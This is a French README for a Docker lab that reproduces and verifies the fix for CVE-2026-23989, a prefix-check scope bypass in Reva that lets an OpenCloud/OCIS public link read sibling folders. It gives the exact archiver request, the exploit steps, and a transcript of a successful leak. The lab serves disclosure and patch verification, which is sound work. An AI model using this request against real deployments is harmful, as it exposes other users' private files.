
# Laboratoire de reproduction (A/B Docker) pour CVE-2026-23989 — Contournement de la validation de portée des liens publics dans OpenCloud / ownCloud Infinite Scale via Reva
Un laboratoire autonome, en une commande, qui reproduit CVE-2026-23989 et prouve qu'il est corrigé, en utilisant les images Docker officielles en amont. Un lien de partage public censé accorder l'accès à un dossier peut être abusé pour lire des fichiers en dehors de la portée de ce dossier.
| CVE | CVE-2026-23989 |
| Avis | GHSA-vf5j-r2hw-2hrw (« Public Link Exploit ») |
| CVSS 3.1 | 8.2 Élevé — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Classe | Contrôle d'accès cassé — confusion de préfixe de chemin dans la validation de portée |
| Cause racine | Reva checkIfNestedResource utilisait strings.HasPrefix pour le confinement de chemin |
| Affecté | OpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Corrigé | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Divulgué | 2026-02-05 |
OpenCloud est un fork de 2025 d'ownCloud Infinite Scale (OCIS), créé par d'anciens ingénieurs d'ownCloud après l'acquisition d'ownCloud par Kiteworks. La faille se trouve dans Reva, le backend de stockage CS3 partagé par OCIS/OpenCloud, et — selon l'avis du fournisseur — « provient du codebase ownCloud (Kiteworks) et a été héritée lorsqu'OpenCloud a forké OCIS. » OpenCloud est utilisé ici car il fournit des images publiques vulnérables et corrigées, propres et épinglées, qui permettent une comparaison A/B exacte.
internal/grpc/interceptors/auth/scope.go, fonction checkIfNestedResource — l'
intercepteur de passerelle qui décide si un jeton de lien public peut toucher une ressource :
// vulnérable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath est le chemin du dossier partagé (la portée du lien) ; childPath est le
chemin de la ressource demandée. Le préfixage de chaîne n'est pas un confinement de chemin :
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (un frère, PAS un enfant)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← faux : accès accordé
Ainsi, un lien limité à /Shared atteint également toute ressource du même espace dont le chemin
commence par la chaîne /Shared — par ex. /Shared-secret, /Shared-2024,
/Shared backup. Le correctif remplace le test par filepath.Rel et rejette tout
chemin relatif commençant par .. (correctif complet dans patch/reva-scope.go.patch).
Chaque opération de passerelle transportant un jeton de lien public passe par la vérification
de portée buguée, mais la primitive des découvreurs (et celle de ce laboratoire) est le
service d'archivage à GET /archiver, authentifié pour un lien public avec l'
en-tête public-token:. Il accepte un identifiant de ressource (?id=<fileid>), le parcourt, et
diffuse un zip. Pointez-le vers l'identifiant d'un frère de préfixe hors portée et la vérification
buguée l'admet :
GET /archiver?id=<id-de-/Shared-secret>
public-token: <jeton de lien limité à /Shared>
→ 200, zip de /Shared-secret (sur 4.0.2)
→ 404 « gateway could not find space for ref=… » (sur 4.0.3)
L'attaquant doit fournir l'identifiant de ressource de la cible hors portée. Cet
identifiant opaque est un UUID aléatoire et n'est pas énumérable via le lien public
lui-même (le lien ne peut pas lister l'espace du propriétaire — il renvoie 401). Dans OCIS,
cependant, le oc:fileid d'une ressource est exposé dans presque chaque réponse WebDAV/graph,
invitation de partage, notification d'activité et URL web (/f/<id>), donc tout
collaborateur antérieur, ex-destinataire d'un autre partage, ou utilisateur interne le détient
couramment — c'est pourquoi le fournisseur a évalué la complexité d'attaque comme Faible. Le
setup.sh du laboratoire obtient l'identifiant « en tant que victime » pour le remettre à l'étape attaquant,
modélisant cette connaissance préalable réaliste. Le traversement de chemin (?path=../…) n'est pas un
substitut viable : ces chemins sont résolus relativement au partage et nettoyés (404).
"/"
et HasPrefix("/", "/Shared") est faux (le laboratoire le confirme : archivage racine de l'espace → 404). Les frères non-préfixes comme /Private sont refusés sur la
build vulnérable aussi — le laboratoire l'utilise comme contrôle pour prouver que l'effet est
spécifiquement le bug de préfixe, pas un échec d'authentification général.| Fichier | Objectif |
|---|---|
docker-compose.yml | Un conteneur OpenCloud ; OC_TAG sélectionne la version vulnérable (4.0.2) ou corrigée (4.0.3). |
setup.sh | Sème le scénario victime dans l'espace de l'utilisateur démo mary et crée un lien public sans mot de passe sur /Shared. Écrit state.env. |
exploit.sh | PoC attaquant. Étant donné le jeton de lien + un identifiant de ressource cible, appelle l'archiveur et imprime les octets exfiltrés. |
verify.sh | A/B en une commande : reproduire sur 4.0.2, confirmer corrigé sur 4.0.3, imprimer une matrice PASS/FAIL. |
patch/reva-scope.go.patch | Le correctif exact d'une ligne en amont, annoté. |
Scénario planté dans l'espace personnel de mary :
/Shared/public-note.txt ← partagé via le lien public (dans la portée)
/Shared-secret/flag.txt ← la cible du PoC ; chemin préfixe "/Shared" (hors portée)
/Private/topsecret.txt ← contrôle ; non-préfixe (hors portée, reste refusé)
Prérequis : Docker + Docker Compose, curl, python3. Télécharge ~250 Mo d'images.
./verify.sh
Sortie attendue :
== Exploit + contrôles contre VULNÉRABLE 4.0.2 ==
[PASS] dans la portée /Shared (accès légitime) (fuite attendue)
[PASS] PoC : hors portée /Shared-secret (fuite attendue)
[PASS] non-préfixe /Private (doit rester refusé) (refus attendu)
== Exploit + contrôle contre CORRIGÉ 4.0.3 ==
[PASS] dans la portée /Shared (fonctionne toujours) (fuite attendue)
[PASS] PoC : hors portée /Shared-secret (corrigé) (refus attendu)
== Verdict ==
5 réussis, 0 échoués
CVE-2026-23989 reproduit sur 4.0.2 et confirmé corrigé sur 4.0.3.
Paire de versions rolling au lieu de stable :
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. démarrer la build vulnérable
OC_TAG=4.0.2 docker compose up -d
# 2. semer le scénario victime (crée le lien public, écrit state.env)
./setup.sh
# 3. attaque : fuir le frère hors portée (lit la cible depuis state.env)
./exploit.sh # par défaut l'identifiant /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # contrôle : refusé
Transcription réelle contre la build vulnérable (les valeurs de state.env varient à chaque exécution) :
===== EXPLOIT /Shared-secret (frère de préfixe hors portée) =====
[*] Jeton de lien public : UVWPXGsjlLJRYxK (portée : un seul dossier partagé)
[*] HTTP 200, 365 octets
Shared-secret/flag.txt :
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] FUITE CONFIRMÉE — octets de fichier hors portée exfiltrés via le lien public.
===== CONTRÔLE /Private (hors portée, non-préfixe) =====
[*] HTTP 404, 249 octets
[-] REFUSÉ — le serveur a refusé : erreur : introuvable : gateway could not find space for ref=…
Confirmez le correctif avec les mêmes données (même jeton et identifiants) :
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # maintenant → HTTP 404, REFUSÉ
Démontage :
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" sur le conteneur. Le fournisseur confirme
que cela atténue complètement le problème (un lien public renvoie alors une erreur).docker-compose.yml affaiblit délibérément l'instance pour que le PoC soit scriptable :
PROXY_ENABLE_BASIC_AUTH=true (pour que curl -u/public-token fonctionnent sans la
danse OIDC), IDM_CREATE_DEMO_USERS=true (mary/demo etc. — mots de passe publics),
IDM_ADMIN_PASSWORD=admin, liens publics sans mot de passe, et un certificat auto-signé
(curl -k). Aucun de ces éléments n'est la vulnérabilité ; ils la rendent seulement observable dans
un shell. Le contournement lui-même en est indépendant.
8d52003